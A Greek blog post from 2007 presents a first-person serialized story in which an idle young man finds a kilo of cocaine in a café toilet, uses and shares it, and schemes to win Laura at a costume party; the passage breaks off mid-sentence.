anwnymous

Μαρτίου 18, 2007

ενα ολόκληρο κιλό …

Filed under: Uncategorized — thelastrealanwnymous @ 11 :09 πμ

Δεν περνάω καλά (μακριά σου ..χα χα ) μάλλον δεν το επιδιώκω . Δηλαδή … έχω ένα βασικό μειονέκτημα. Δεν δουλεύω . Αν δουλεύω τους άλλους? Θα ήταν διασκεδαστικό. Αλλά δεν δουλεύω κανένα …ίσως μόνο εμένα δουλεύω. Πως τη βγάζω ; Δύσκολα . Άλλωστε… κανέναν δεν τον φθάνουν τα χρήματά του. Πόσο μάλλον εμένα .Πόσο συχνά βγαίνω? Τόσο όσο κι αυτοί που δουλεύουν και … ίσως και λίγο περισσότερο. Πού πάω ? παντού σχεδόν παντού . Γυναίκες στην παρέα ? Πολλές. Καλές ?… σχεδόν καμία ή μάλλον μόνο μία. Πως τη λένε ? Λώρα . Είναι …τώρα περιγράφουμε πως είναι : είναι ψηλή στο ύψος μου 178 και 69 κιλά . Έχουμε βγει κάνα δυο φορές μόνοι μας αλλά δεν έγινε τίποτε. Τα έχει με κάποιο Κωνσταντίνο. Στην επιχείρηση του ντάντι του δουλεύουν ο Ζαν και ο Αλέκος. Οι δύο πωλήτριες που είναι κολλητές και δεν χάνουν ποτέ την ευκαιρία να βγουν μαζί μας είναι η Ανθή και η Έλενα. Για μένα ήδη ξέρετε πολλά , οπότε μένει να σας γνωρίσω και τη Φρίντα που σπουδάζει κινηματογράφο και την Αλίκη που παίζει το ιντίριορ στα δάχτυλα και μπορεί να σου κάνει το φτωχικό σου να θυμίζει το εσωτερικό μιας κάντιλακ. Αυτή είναι η παρέα και βγαίνουμε σχεδόν κάθε Σάββατο , σχεδόν όλοι μαζί , σχεδόν σε όλα τα σχήματα-πάντα λείπουν κάποιοι- και μάλλον περνάμε καλά. Είχα μία μίνι ιστοριούλα με την Ανθή αλλά δεν … από τότε μάλλον δεν με χωνεύει και η Έλενα. Για την Αλίκη είμαι σίγουρος πως έχει λίγο κόλλημα ο Κωνσταντίνος – δεν ξέρω όμως πόσο σοβαρό είναι – ενώ για τη δουλειά της Αλίκης φαίνεται να ενδιαφέρεται η Λώρα με ένα τρόπο σαν να θέλει να της σχεδιάσει το χώρο που θα ζήσει με τον αγαπημένο της .
Δεν περνάω καλά. Σόρρυ το ξαναείπα αυτό. Ήρθε μία μέρα σπίτι η Αλίκη , είδε το στρώμα μου πεταμένο κάτω και γύρο στοίβες με περιοδικά και εφημερίδες και της την έδωσε να μου κάνει ένα πολύ αφαιρετικό ινσάιντ . Σκέφτηκα πόσες μέρες θα μπορούσα να τα έχω με την Αλίκη και νομίζω ότι η πρόσθεση δεν τελείωνε. Την παρατηρούσα ενώ επόπτευε το χώρο. Ο τρόπος που τα πισινά της τέντωναν το παντελόνι της με είχε απορροφήσει εντελώς. Γύρισε και με κοίταξε. Την πλησίασα με άνεση και προσπάθησα να τη φιλήσω. Δεν αντιστάθηκε ιδιαίτερα , γύρισε λίγο στο πλάι το κεφάλι της για να με αποφύγει και μου είπε ότι δεν με καταλαβαίνει , ότι καταστρέφομαι που δεν εργάζομαι , ότι έχω δυνατότητες και χάνω το χρόνο μου άδικα . Χαμογέλασα και την έσφιξα πάνω μου. Χωρίς να αντιστέκεται μου ξέφυγε και κάθισε στο μοναδικό γραφείο που ήταν και τραπέζι. Την πλησίασα και μου πρότεινε να μου δείξει κάτι. Περίμενα μάλλον να γδυθεί μπροστά μου αλλά… ξαφνικά γύρισε το τραπέζι ανάποδα , έριξε τις δύο καρέκλες κάτω , σήκωσε το στρώμα και το ακούμπησε στον τοίχο , σκόρπισε μία στοίβα περιοδικά κάτω και μου είπε ότι κάπως έτσι είμαι ανάποδος ,αδιάφορος και κάπως αφελής . Της είπα ότι τη βρίσκω κι εγώ αφελή με τον τρόπο που περιμένει την επόμενη κίνηση του Κωνσταντίνου. Αιφνιδιάστηκε και μου είπε ότι αυτή τη τελευταία σταγόνα δηλητήριο δεν την περίμενε και με είπε και ερπετό. Έξυσα τα λέπια μου (χα χα χα ) και δεν ξαναμίλησα . Ο Κωνσταντίνος δεν υπάρχει περίπτωση να χωρίσει με τη Λώρα. Η Αλίκη είναι μεθοδική και με φοβερό αυτοσεβασμό για να της αξίζει ίσως ο καλύτερος αλλά δεν…θα τον καταφέρει. Έφυγε.
Δεν περνάω καλά. Βγήκαμε πάλι το Σάββατο. Όλοι μαζί. Μιλάω με το Κωνσταντίνο. Αυτός κοιτάζει την Αλίκη που μιλάει με τον Αλέκο. Η Λώρα ξέρει τι έχουν οι βιτρίνες και ανέχεται –χωρίς να υποφέρει – την Ανθή και την Έλενα να μιλάνε για ρούχα με ένα τρόπο σαν να τα προβάρουν εκείνη τη στιγμή . Όλως περιέργως η Φρίντα μιλάει με το Ζαν ,που πηγαίνει σινεμά μόνο όταν είναι ανάγκη και ότι θέλει να δει, το βλέπει σε βίντεο. Πάλι απόψε θα πληρώσει ο Κωνσταντίνος. Αν είχα τα χρήματα του –τώρα θα αναγκαστώ να το πω αυτό που κρύβω τόση ώρα , μου αρέσει η Λώρα υπερβολικά «πεθαίνω» για τη Λώρα ( ή για κάποια εφάμιλλη της)– όλους αυτούς δεν θα τους ανεχόμουν ούτε για κομπάρσους στη παρέα μου. Η Λώρα που δεν σας είπα με τι ασχολείται γιατί ακριβώς δεν χρειάζεται να ασχολείται με τίποτε ,αρκεί μόνο να είναι ο εαυτός της , είναι μία πραγματική γυναίκα.
Τώρα θα σας περιγράψω τις άλλες τις ιμιτασιόν για να καταλάβετε: Τι είναι αυτό που κοιτάζει τις βιτρίνες για να δει πως φαίνεται? Που αγοράζει για να ξεχάσει ? ..και που ξεχνιέται όταν είναι στο δοκιμαστήριο? Που φοβάται πως πάχυνε και προσπαθεί να αδυνατίσει τρώγοντας γλυκά? Τι είναι αυτό που έχει μία ασορτί τσάντα με το παπούτσι και μυαλό ασορτί με εσώρουχα μέσα σε απορρυπαντικό? («σαπουνοερωτισμός» : μια απόπειρα κάθαρσης , μια προσπάθεια να σκεπάσει το μισητό κομμάτι του εαυτού της με απορρυπαντικό ,με μους σοκολάτα τη πικρή του γεύση με σόπινγκ τις ατέλειές του . «Δική μου εφεύρεση αυτή η λέξη! Χα , χα !»)
Δεν περνάω καλά. Το έχετε ήδη καταλάβει αυτό και δεν υπάρχει καμία ελπίδα να περάσω καλύτερα. Κουράζω τα αυτιά μου ακούγοντας τυχαίες επιλογές από σι ντι στα καφέ , διαλογίζομαι ανάμεσα από καπνούς τσιγάρων και χοντρών πούρων περιμένοντας ότι από κάπου θα προβάλει σαν οπτασία η Λώρα , βαριέμαι , ακούω διάφορες βλακείες και κουράζομαι , πράγματι η ένδεια , ( αα να μία ωραία λέξη , όπως και πριν σκεφτόμουν να πω διάγω , ξέρεις με τον τρόπο αυτό του σκοτώνω χρόνο και περνάω άσκοπα) η φαντασίωση να θέλουν να μοιάζουν όλοι με κάποιους που θεωρούνται σημαντικοί και νομίζουν ότι γίνονται κι αυτοί σημαντικοί ….όλα αυτά με κουράζουν ( θα πω κάτι τώρα : αν αντιγράψεις κάποιον που είναι σημαντικός , που αξίζει την προβολή που του γίνεται ,το πιθανότερο είναι να γίνεις και συ σημαντικός μια μέρα , αν όμως αντιγράφεις κάποιον «σημαντικό» φελλό το πιθανότερο είναι να παραμείνεις ο μάπας που είσαι. Αυτός είναι ένας άλλος τρόπος να ξεχωρίζεις τους ορίτζιναλ από τους ευκαιριακούς ) Κάπως έτσι ξεχνιέμαι κάνοντας άσκοπες σκέψεις έχω κατεβάσει το δεύτερο φρέντο και ξαφνικά έχει μαζευτεί τόσο υγρό στη κύστη μου που τρέχω με πανικό στη τουαλέτα. Αν δεν απασχολούσα το μυαλό μου με τη Λώρα ίσως να μη είχα κανένα ενδιαφέρον για τίποτε . Τώρα με το πουλί πάνω από τη λεκάνη να αδειάζει σχεδόν ένα λίτρο νερό (δύο φρέντο και δύο ποτήρια νερό) σκέφτομαι παλιές ακλόνητες αξίες όπως : «όταν η κύστη σου κοντεύει να σπάσει το κατούρημα είναι απολαυστικότερο από το πήδημα …χα χα » . Ε λοιπόν δεν θα το πιστέψετε. Όπως κοιτάζω το νεροχύτη από το πλάι βλέπω κάτι σαν δέμα τυλιγμένο σε εφημερίδες. Αδιαφορώ αλλά το ξαναβλέπω. Είναι ένα δέμα εκεί. Σκίζω λίγο εφημερίδα και βλέπω μια άκρη από νάιλον σακούλα με περιεχόμενο μία λευκή σκόνη. Εδώ είμαστε. Λες? Λες να είναι αυτό που νομίζω? Τραβάω το δέμα από τον κρυψώνα του και προσπαθώ να το μυρίσω. Αλλά τι να καταλάβω αφού δεν έχω σνιφάρει ποτέ μου. Για να είναι τόσο πρόχειρα κρυμμένο όμως ο παραλήπτης του μάλλον είναι εδώ κοντά. Ίσως και έξω από τις τουαλέτες. Να το πάρω ? να μη το πάρω. Το πετάω στη τσέπη μου και βγαίνω ανέμελος. Κάποιος που φαίνεται να έχει αδυναμία στις τουαλέτες κοιτάζει επίμονα προς τα εδώ. Τότε κάνω το λάθος. Αντί να καθίσω στο τραπέζι μου και να πιω άλλο ένα φρέντο , τι ένα λεω ,άλλους 7 φρέντο και μετά να φύγω με φυσικότητα ,πληρώνω και βγαίνω σχεδόν αμέσως από το καφέ. Έξω στη μέση του δρόμου είναι ο ίδιος τύπος που μόλις τον έχουν μαγκώσει 3 μπάτσοι με πολιτικά και τον βάζουν στο αυτοκίνητό τους. Αυτός αδιαφορώντας για τη σύλληψή του μου ρίχνει ένα βλέμμα γεμάτο νόημα και καθυστερεί να μπει σαν να θέλει να μου δείξει ότι είναι τόσο σημαντικό αυτό που του πήρα που θα με βρει ανεξαρτήτως συνθηκών. Αυτοί ξεκινάνε με φόρα κάνοντας τα λάστιχα τους να τρίξουν ενώ εγώ φεύγω πιο πολύ ανυπομονώντας να δοκιμάσω το περιεχόμενο παρά φοβισμένος.
Φθάνω σπίτι. Ρίχνω μία ματιά και μπαίνω στην είσοδο. Χαζεύω την ανύπαρκτη αλληλογραφία μου – πιο πολύ κοιτάζω τα γράμματα των άλλων – και καθυστερώ για να δω αν με ακολούθησε κανείς. Μπαίνω στο διαμέρισμα. Αφήνω το δέμα στο τραπέζι. Πηγαίνω πάλι τουαλέτα. Δεν έχω σνιφάρει άλλη φορά. Δεν σκοπεύω να δοκιμάσω τη γεύση του. Βγάζω τη σακούλα και αφήνω ένα πολύ χαμηλό βουναλάκι στο τραπέζι. Πάρα πολύ χαμηλό γιατί φοβάμαι μήπως είναι πολύ. Τώρα που το ξανασκέφτομαι θα μπορούσε να είναι αλάτι , ζάχαρη άχνη ή και στρυχνίνη. Ευτυχώς έχω δει πολλές ταινίες. Παίρνω ένα χιλιάρικο το κάνω σωληνάκι το βάζω στη μύτη και ρουφάω λίγο. Μάλλον δεν νοιώθω τίποτε. Περιμένω λίγο και ρουφάω με τη μία το υπόλοιπο…ωωωω τι γίνεται εδώ …εεε πού είμαι ? τι γίνεται? Μιλάμε για πολύ γλυκιά ζάλη , τι αλκοόλ και αηδίες , τι μαριχουάνα . Τώρα βέβαια δεν ξέρω αν είναι κόκα ή άσπρη αλλά είναι σίγουρα βαρύ πυροβολικό. Τι είπατε ? ο Κωνσταντίνος? Σιγά τώρα η Λώρα είναι δική μου , η Λώρα έχει προδιαγραφές για μένα και μόνο για μένα. Νομίζω ότι κάποια στιγμή με παίρνει ο ύπνος βαρύς και γλυκός και κοιμάμαι στο πάτωμα κάτω από το τραπέζι.
Ξυπνάω αργότερα με πολύ βαρύ κεφάλι και χωρίς δεύτερη σκέψη τραβάω μία δεύτερη πολύ μικρή δόση.
Και τώρα η συνέχεια: σας πληροφορώ ότι περνάω πολύ καλά. Περνάω απίθανα. Και πρώτα απ’ όλα αυτοπεποίθηση. Θέλω τη Λώρα και σίγουρα με θέλει κι αυτή ,αρκεί να στήσω μία παγίδα σ’ αυτό το πλούσιο παιδάκι που τα παιχνίδια του περιέχουν και υπαλλήλους , έχει πάρα πολλούς φίλους , έχει μεγάλη αυτοπεποίθηση και όπως καταλαβαίνετε πρόκειται για τον Κωνσταντίνο και πρέπει οπωσδήποτε να απομακρύνω από κοντά του τη Λώρα. Έβαλα τη σακούλα στη ζυγαριά που ζυγίζομαι και έδειξε σχεδόν ένα κιλό , ένα ολόκληρο κιλό κόκας η άσπρη , δεν ξέρω ακόμα τι είναι αλλά είναι πανάκριβη , πολύτιμη και προς το παρόν δεν σκέφτομαι να δώσω σε κανένα ούτε γραμμάριο. Αυτή η μαγική σκόνη είναι πιο δυνατή και από το χρήμα.
Είμαι πολύ καλά τώρα. Βγαίνω το Σάββατο με τη παρέα μου. Λείπουν η Αλίκη και η Ανθή. Δεν πρέπει να είμαι πολύ εχθρικός με τον Κωνσταντίνο. Έχω σνιφάρει αυτή τη ποσότητα που θεωρώ ασφαλή και έχω πολύ καλή διάθεση. Τα τρία αγόρια συζητάνε για θέματα της εταιρείας τους πράγμα που κάνει τη Λώρα – τη Λώρα μου- να δυσανασχετεί ευγενικά . Υποτίθεται ότι της κάνω παρέα αλλά με το ένα αυτί μου ακούω τους άλλους και ξαφνικά –αν είναι δυνατόν – η λύση στο πρόβλημά τους μου έρχεται ουρανοκατέβατη και την ξεφουρνίζω. Με κοιτάζουν ξαφνιασμένοι –και η Λώρα μαζί- και διαπιστώνουν ότι δεν είμαι απλώς ανεβασμένος αυτό τον καιρό αλλά κάτι άλλο μου συμβαίνει κάτι σαν κρυφό ταλέντο ας πούμε που έρχεται στην επιφάνεια. Τώρα αδιαφορώ για το πρόβλημά τους και στρέφω πάλι τη προσοχή μου στη Λώρα προσπαθώντας να μη κάνω λάθη υπερβολικής αυτοπεποίθησης και να εξιχνιάσω το μυστικό της έλξης που ασκεί πάνω μου. Είναι η πρώτη φορά που μιλάω τόσο άνετα με τη Λώρα ενώ εκείνη μου δίνει την εντύπωση ότι αισθάνεται να έχουμε πιο πολλά κοινά σημεία απ’ ότι νόμιζε. Όταν τελειώνει η βραδιά ο Κωνσταντίνος που παρακολουθεί την «άνεσή μου» να βρίσκεται στα ίδια επίπεδα με τη δική του ,με ρωτάει με τρόπο αν συζητάω ποτέ για θέματα δουλειάς με το Ζαν και τον Αλέκο. Του χαμογελάω και του λεω θυμίζοντας του το κολέγιο –ένα ιδιωτικό της πλάκας- «…βασικές αρχές μάνατζμεντ και πολύ ένστικτο». Χαμογελάμε και οι δύο αλλά σπάζομαι που φεύγει με τη Λώρα ενώ οι υπόλοιποι θα πάμε κάπου αλλού. Ο Ζαν φεύγει και αυτός , δείχνοντας πολύ προβληματισμένος από τα επαγγελματικά και μένουμε με τον Αλέκο με τα κορίτσια να ψάχνουμε για άλλο κλάμπ. Η Έλενα μπαίνει στο αυτοκίνητο του Αλέκου ενώ εγώ που δεν έχω αυτοκίνητο πηγαίνω με της Φρίντας. Μιλάω πολύ άνετα μαζί της δεν πίνω πολύ εκεί που πάμε και επειδή η Έλενα δείχνει αποφασισμένη να περάσει τη νύχτα της με τον Αλέκο προτείνω στη Φρίντα να σνιφάρουμε μαζί ένα γραμμάριο που βρήκα από ένα φίλο. Δεν φαίνεται να διστάζει και καταλήγουμε σπίτι μου όπου έχω σε ένα φακελάκι ποσότητα περίπου τριπλάσια από το βουναλάκι που θεωρώ ότι είναι η δόση που μου αρέσει. Κάνω δύο χωνάκια χωρίζω τη ποσότητα σε δύο βουναλάκια της αφήνω το μεγαλύτερο και ρουφώ με τη μύτη μου πρώτος . Η Φρίντα τραβάει σε μικρές δόσεις σαν να είναι επιφυλακτική σαν να το δοκιμάζει αλλά τελικά το ρουφάει όλο και βλέπω να μισοκλείνει τα μάτια . Την αγκαλιάζω και νιώθω τους σφυγμούς της να ανεβαίνουν υπερβολικά. Κάποια στιγμή ενώ πιστεύω ότι η καρδιά της θα σπάσει την ακούω να ψιθυρίζει ότι είναι η καλύτερη κόκα που πήρε ποτέ. Ααα κόκα έχει λοιπόν το σακουλάκι μου . Δεν της εξηγώ ότι μου έλυσε την απορία αλλά την φιλάω και δεν προβάλλει καμία αντίσταση και βρισκόμαστε στο στρώμα ενώ η Φρίντα δείχνει να το απολαμβάνει πάρα πολύ. Όταν ξυπνάω εκείνη κοιμάται δίπλα μου και παρατηρώ ότι είναι πιο παχουλή στη λεκάνη απ’ ότι νόμιζα βλέποντας την με ρούχα. Φτιάχνω καφέ και στο μυαλό μου στριφογυρίζει η εικόνα των 980 γραμμαρίων που μου φθάνουν για τρία χρόνια. Όταν ξυπνάει η Φρίντα δεν μου μιλάει , πηγαίνει στο μπάνιο κάνει ένα ντους και μετά βγαίνει και φτιάχνει καφέ μόνη της . Εγώ ξαπλώνω . Έρχεται στο πάτωμα και πίνει τον καφέ της χωρίς να μιλάει ενώ με κοιτάζει με θαυμασμό και απορία μαζί . Μόλις τελειώνει τον καφέ της έρχεται να με αγκαλιάσει και ανεβαίνει πάνω μου με φιλάει και μου ψιθυρίζει: «Αν αγοράσεις κι άλλο μη με ξεχάσεις…» . Κατεβαίνει από πάνω μου και φεύγει. Δεν πίστευα ότι θα γινόταν τόσο εύκολα με τη Φρίντα. Ίσως να καταφέρω τη Λώρα με την ίδια ευκολία.
Δεν ξέρω αν σας το είπα αλλά περνάω πολύ καλά αυτό τον καιρό. Σκέφτομαι ότι θα πάω στο πάρτι μεταμφιεσμένων του Κωνσταντίνου και καταστρώνω ένα πολύ φοβερό σχέδιο για …ξέρετε … για την Λώρα.
Τελικά μάλλον δεν έχω κανένα δυνατό σχέδιο. Έχω μόνο αυτή τη δύναμη στα χέρια μου , αυτό το πράγμα που μου δίνει μια άνεση αυτοκράτορα και το μόνο που κάνω είναι να το χρησιμοποιώ σαν μικρό παιδί που αντί για βώλους παίζει με κοσμήματα , με πολύτιμα διαμάντια και μαργαριτάρια στο σφαιρικό σχήμα του βώλου.
Σκέφτομαι πάρα πολύ πριν καταλήξω τι θα ντυθώ και έχω μια έμπνευση αλλά δεν ξέρω πως ακριβώς θα μου βγει. Τελικά ντύνομαι άγαλμα της Ελευθερίας. Βρίσκω λευκή χλαμύδα και λευκό καλσόν , βάφω το πρόσωπο λευκό με αυτό το υλικό που χρησιμοποιούν οι κλόουν , με το ίδιο υλικό βάφω και το δεξί μου χέρι που θα κρατάει το δαυλό με τη φλόγα της ελευθερίας ( ο οποίος ποτέ μα ποτέ δεν πρέπει να σβήσει ) και μετά αφού παρακαλέσω πολύ την Αλίκη -με την οποία υπάρχει μια ανεπαίσθητη ψυχρότητα- θα μου φτιάξει αυτό το λευκό στεφάνι με τις ακτίνες για το κεφάλι. Τα δοκιμάζω όλα αυτά και το αποτέλεσμα μου φαίνεται πολύ καλό.
Περνάω απίθανα , καταπληκτικά σας λεω. Θα παω στο πάρτι και θα πάρω τη Λώρα με μία κίνηση. Ετοιμάζω τώρα τις τελευταίες λεπτομέρειες , έχω νοικιάσει και αυτοκίνητο , ένα μικρό Ford, για να μπορώ να γυρίσω ότι ώρα θέλω και με όποιο συνεπιβάτη θέλω. Τώρα βάζω πολύ ζελέ στο μαλλί και περιμένω να στεγνώσει. Τότε αντί για πούδρα για να γίνει το μαλλί λευκό όπως του αγάλματος ρίχνω από τη δική μου «πούδρα». Ρίχνω αρκετή στο εσώρουχο στο θώρακα καθώς και σε όλα τα επίμαχα σημεία που βάζουμε συνήθως άρωμα. Δεν σνιφάρω ούτε ένα κόκκο πίνω μόνο λίγο ουίσκι για να διατηρώ τη διάθεσή μου ψηλά. Τώρα είμαι έτοιμος . Μπαίνω στο αυτοκίνητο και φεύγω. Μόνο ένας εκπαιδευμένος αστυνομικός σκύλος να βρεθεί στο δρόμο μου, είναι ικανός να με ακολουθήσει τρέχοντας μέχρι τη βίλα του Κωνσταντίνου στα βόρεια προάστια. Έχω χαλάσει περισσότερα από 100 γραμμάρια για καλύψω το σώμα μου με λευκή σκόνη.
Φθάνω κάποια στιγμή και είναι όλοι εκεί. Ο «βασιλεύς Κωνσταντίνος» είναι ντυμένος αληθινός βασιλιάς όπως είχα δει σε μία παράσταση του «Όνειρο θερινής νυκτός» . Η Λώρα που δεν έχει παρά να παίξει μόνο το ρόλο της ντύθηκε – και ήταν σαν – αληθινή βασίλισσα. Οι άλλοι ήταν ντυμένοι σαν αυλικοί τους.
Ο Ζαν και ο Αλέκος φορούσαν φράκο και τα παπιγιόν τους είχαν τα χρώματα της εταιρείας. Χρυσό και μπλε της θάλασσας. Η Αλίκη είναι ντυμένη μισό φυτό – μισό λουλούδι. Έχει το σώμα πράσινο με γιακά σε σχήμα μικρών φύλλων και το πρόσωπο τριαντάφυλλο , γεμάτο ροδοπέταλα με ένα παράξενο τρόπο απλωμένα πάνω της που θυμίζει τριαντάφυλλο που ανθίζει. Μου άρεσε που είχε ένα τριαντάφυλλο στο πρόσωπο και η γύρη ήταν στις βλεφαρίδες και γύρο από το μάτι τα ροδοπέταλα έφτιαχναν το πιο όμορφο τριαντάφυλλο που έχω δει. Η Ανθή ήταν μία κλασσική βασίλισσα της νύχτας ενώ η Έλενα προσπαθώντας να δελεάσει και τους τελευταίους άνδρες του πάρτι ντύθηκε τσιρλίντερ του Ολυμπιακού. Είναι πολύς κόσμος εδώ, όλοι φίλοι , πελάτες και γνωστοί του Κωνσταντίνου και μια φοβερή χάουζ γεμίζει το χώρο. Κάποια στιγμή βλέπω και τη Φρίντα που φοράει μαύρο κοστούμι και από μέσα τι-σερτ με το Μπόγκαρντ και έχει μαύρους κύκλους στα μάτια . Φοράει ασπρόμαυρα παπούτσια φίφτις και καπνίζει σαν «άντρας». Μόλις φθάνω με πλησιάζει αμέσως . Δεν ξέρω αν θα με «μυρίσει» – αν θα με σνιφάρει ήθελα να πω – γιατί μετά είμαι σίγουρος ότι δεν θα ξεκολλήσει από δίπλα μου. Όμως κανείς ακόμα δεν έχει φανταστεί «τι φοράω» και τα πράγματα κυλάνε φυσιολογικά.
Δεν είναι μόνο η παρέα μας εκεί. Είναι αρκετοί κολλητοί του Κωνσταντίνου από το κολέγιο ,συνεργάτες και πελάτες από την επιχείρηση και όπως είναι προφανές οι Ζαν και Αλέκος τους προσεγγίζουν και μιλάνε μαζί τους και τσουγγρίζουν και λένε αστεία διατηρώντας το πνεύμα της εργασίας και στη διασκέδαση.
Δεν μπορώ να πω ότι δεν δέχτηκα μία γροθιά στο στομάχι μόλις πλησίασα τη Λώρα. Είναι μία θεά. Την κοίταξα και πάγωσα. Ένιωσα την αυτοπεποίθησή μου να φεύγει από μέσα μου σαν ψυχή που εγκαταλείπει το σώμα και να μένω μπροστά της ένα τίποτα, ένα κύμβαλο που δεν θα ηχήσει πλέον. Είμαι σίγουρος ότι πρόσεξε αυτή την «απώλειά μου» , αυτό το τρέμουλο στα χέρια και στα χείλη μου. Κόσμος , υπερβολικά πολύς κόσμος για ένα πάρτι, που ευτυχώς μεσολάβησε ανάμεσά μας και δεν μπόρεσε να με πλησιάσει …
Υπέροχη Λώρα , πόση ώρα μπορείς να παλεύεις και να ματώνεις με ένα αρσενικό πριν κάνεις σεξ μαζί του; Πόσο μπορεί να ζητάει η ψυχή σου αυτή την απόλυτη δύναμη που μπορεί να σε κάνει να νιώσεις γυναίκα; (Δεν θα γίνω ποιητής με τέτοια χάλια τώρα.) Χρειάζομαι επειγόντως ένα ουίσκι και σηκώνω το χέρι μου για να εισπνεύσω λίγη «αυτοπεποίθηση» από το μανίκι. Αρχίζω να αισθάνομαι καλύτερα. Πλησιάζω το μπουφέ και παίρνω ένα σκοτς με πολύ πάγο. Κατεβάζω μία γουλιά και …Λώρα , Λώρα πως τόσο καιρό «παίζεις χωρίς αντίπαλο»; Ποιος Κωνσταντίνος …; Σιγά τώρα…
Είναι φανερό πως έχω τρομερά σκαμπανεβάσματα στη ψυχολογία μου και φοβάμαι πως δεν θα καταφέρω το στόχο μου απόψε. Δεν είναι μόνο ότι τώρα έχω επικεντρώσει τη προσοχή μου στη Λώρα και έχω περισσότερο άγχος από κάθε άλλη φορά , αλλά με επηρεάζουν πάρα πολύ και τα πρόσωπα. Υπάρχει σ’ αυτή τη παρέα του Κωνσταντίνου από το κολέγιο και ένας πολύ ηγετικός τύπος – αυτός πρέπει να ήταν ο μεγάλος αντίπαλος του Κωνσταντίνου στην εφηβεία του- δεν ξέρω ακόμα το όνομά του και θα μπορούσα να του δώσω άνετα το ψευδώνυμο «Αντίνοος» ,που ήταν ο αρχηγός των μνηστήρων στην Οδύσσεια αν θυμάστε. Το λεω αυτό γιατί νομίζω ότι έχει πράγματι τέτοια συμπεριφορά και βλέπω ότι έχει υπό τις διαταγές του κάποια «παιδάκια» που δεν κατάφεραν να μεγαλώσουν ακόμα και χρειάζονται ένα αρχηγό που να τους δείχνει το στόχο. Αν δείτε πως κοιτάζουν όλοι αυτοί τη Λώρα , θα ήταν ικανοί να διαμελίσουν το «χιτώνα» της και να τον παίξουν στα ζάρια. Και φυσικά όποιος κερδίσει θα έχει δική του τη Λώρα. Ο Κωνσταντίνος επιτηρεί τη κατάσταση με ψυχραιμία και το πάρτι έχει αυτό το θορυβώδες στυλ που έχουν όλα τα 30 παρά κάτι ιβέντς και οι μεταμφιέσεις κάνουν τον κόσμο πιο αυθόρμητο και πιο εκδηλωτικό. Ο «Αντίνοος» με τους φίλους του κάνει υπερβολική φασαρία.
Πράγματι δεν ξέρω αν υπάρχει κατάλληλη ευκαιρία για να πλησιάσω τη Λώρα να τη παρασύρω να δοκιμάσει το κρυμμένο δώρο που έχω γι’ αυτήν. Κάποια στιγμή βρίσκομαι να μιλάω με τη Φρίντα. Έχω μία αόριστη φοβία ότι πάλι αυτή θα είναι η τυχερή που θα μοιραστεί το μυστικό μου. Είμαι πολύ αφηρημένος , δεν ξέρω αν σνιφάρησα πολύ ή αν έχω πιει αρκετά , έχω ένα ελαφρύ τρέμουλο και κάτι σαν ανησυχία . Ανταλλάσσουμε συνηθισμένες φράσεις , για το τι κάνουμε αυτό τον καιρό και σχόλια για τους άλλους γύρο μας , μου δίνει μια εντύπωση πως γουστάρει αυτόν που εγώ έχω ονομάσει Αντίνοο , λεει πως είναι γόνος παλιάς αριστοκρατικής οικογένειας , τον έχουν πολύ συχνά οι κοσμικές στήλες , είναι τρελός με τα κλαμπ και με τα πάρτι και πως το χόμπι του είναι το «ουάν νάιτ σεξ» και οι «χυλόπιτες». Δείχνει να μη τον φοβίζει τίποτε και με μία βιαστική σκέψη της στιγμής νομίζω ότι δεν πρέπει να συνάντησε και πολλά εμπόδια στη ζωή του. Δεν νομίζω να έχει δοκιμαστεί η αυτοπεποίθησή του σε δύσκολες συνθήκες. Η Φρίντα τον παρακολουθεί συνέχεια , δεν χάνει τίποτε από τις εκφράσεις του , τα πειράγματα του , τον τρόπο που κρατάει το ποτήρι και τώρα που προσέχω καλύτερα … έχω την εντύπωση ότι κι αυτός δεν χάνει από το οπτικό του πεδίο το επίμονο βλέμμα της Φρίντας, με ένα πολύ δικό του στυλ , διακριτικό και κραυγαλέο στις αποχρώσεις του , μετατρέποντας σε ένα μικρό σόου ,το παιχνίδι που λέγεται «καμάκι».
Η Λώρα όλως περιέργως τώρα μιλάει με την Αλίκη και πιάνω τον εαυτό μου να μετατρέπεται σταδιακά σ’ ένα κουρέλι που δεν θα καταφέρει να κάνει τίποτε ποτέ και ένα κύμα απαισιοδοξίας έρχεται και με σκεπάζει καταλυτικά , κατεβάζω μερικές γουλιές ουίσκι ακόμα για να αισθανθώ καλύτερα αλλά δεν τα καταφέρνω. Δεν μπορώ να συνειδητοποιήσω αν ανακάτεψα τις «γεύσεις» ή αν πράγματι δεν είμαι καλά ψυχολογικά και αναζητάω επειγόντως μία καρέκλα να καθίσω και απομακρύνομαι από τη Φρίντα που τη βλέπω να πλησιάζει τον «Αντίνοο» και να λένε κάτι πολύ γρήγορα και ψιθυριστά πριν φθάσει τελικά στη Λώρα.
Τελικά καταλήγω στη τουαλέτα και κάνω μία προσπάθεια να κάνω εμετό αλλά δεν γίνεται τίποτε.
Όταν βγαίνω πέφτω πάνω στη Φρίντα που με ρωτάει αποφασιστικά αν έχω φέρει «τίποτε» μαζί μου. Κάνω μία κίνηση πολύ κουρασμένη που σημαίνει «ναι» και με παίρνει από το χέρι και με οδηγεί σ’ ένα δωμάτιο όπου εμφανίζεται ένα κλειδί στο χέρι της , ξεκλειδώνει και μπαίνουμε μέσα. Αμέσως ελαττώνεται ο θόρυβος της εκκωφαντικής μουσικής και αισθάνομαι καλύτερα. Ρίχνω μία ματιά και βλέπω ότι το δωμάτιο φωτίζεται από το απαλό φως μιας λάμπας στο κήπο. Δεν φαίνεται να υπάρχει κανείς άλλος εδώ. Κάθομαι σε μία πολυθρόνα και η Φρίντα θέλει να δει αμέσως το μικρό μας «μυστικό» . Της λεω ότι είναι κάτω από τα ρούχα μου. Μου προτείνει ένα παιχνίδι. Να μου κλείσει τα μάτια και μετά να ψάξει να το βρει. Ρίχνω μία ματιά γύρω μου για να διαπιστώσω ότι πρόκειται για ένα γραφείο με λιγοστά έπιπλα. Εγώ κάθομαι σε μία από τις καρέκλες συνεργασίας που είναι περισσότερο πολυθρόνες σε μία μάλλον συντηρητική γραμμή και δεν θυμίζουν καθόλου τις αντίστοιχες των επαγγελματικών χώρων. Η Φρίντα απομακρύνεται και σε λίγο βγάζει από τη τσάντα της ένα φουλάρι και με πλησιάζει για να μου δέσει τα μάτια. Τότε ακριβώς ακούγεται ένα χτύπημα στη πόρτα και η φωνή του «Αντίνοου» σε ένα χαμηλό τόνο ρωτάει «Που είσαι;». Παγώνουμε και οι δύο και η Φρίντα μένει με το φουλάρι τεντωμένο στα χέρια να το κοιτάζει για να υπολογίσει το μήκος του. Ο «Αντίνοος» ξέρει τι κάνει, αλλά η Φρίντα την τελευταία στιγμή προτίμησε κάτι πιο ελκυστικό από τη γοητεία 